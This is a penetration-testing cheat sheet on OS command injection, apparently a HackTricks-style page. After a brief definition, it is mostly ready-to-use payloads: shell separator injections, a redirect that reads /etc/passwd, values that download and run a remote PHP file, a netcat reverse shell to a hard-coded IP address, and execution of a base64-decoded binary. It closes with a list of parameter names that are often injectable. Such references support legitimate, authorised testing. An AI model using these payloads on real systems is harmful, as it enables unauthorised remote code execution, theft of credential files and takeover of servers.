> For the complete documentation index, see [llms.txt](https://pwc-3.gitbook.io/pwc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pwc-3.gitbook.io/pwc/ji-shu/webpentest2/untitled-3-1.md).

# Command Injection

OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. (From [here](https://portswigger.net/web-security/os-command-injection)).

Depending on **where your input is being injected** you may need to **terminate the quoted context** (using `"` or `'`) before the commands.

```
ls||id; ls ||id; ls|| id; ls || id ls|id; ls |id; ls| id; ls | id ls&&id; ls &&id; ls&& id; ls && id ls&id; ls &id; ls& id; ls & id ls %0A id ​`ls` $(ls) ls; id ​> /var/www/html/out.txt < /etc/passwd 
```

If you are trying to execute **arbitrary commands inside a linux machine** you will be interesting in read about this [**WAF bypasses**](https://book.hacktricks.xyz/linux-unix/useful-linux-commands/bypass-bash-restrictions).

```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.phpvuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```

Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):

```
?cmd={payload}?exec={payload}?command={payload}?execute{payload}?ping={payload}?query={payload}?jump={payload}?code={payload}?reg={payload}?do={payload}?func={payload}?arg={payload}?option={payload}?load={payload}?process={payload}?step={payload}?read={payload}?function={payload}?req={payload}?feature={payload}?exe={payload}?module={payload}?payload={payload}?run={payload}?print={payload}
```
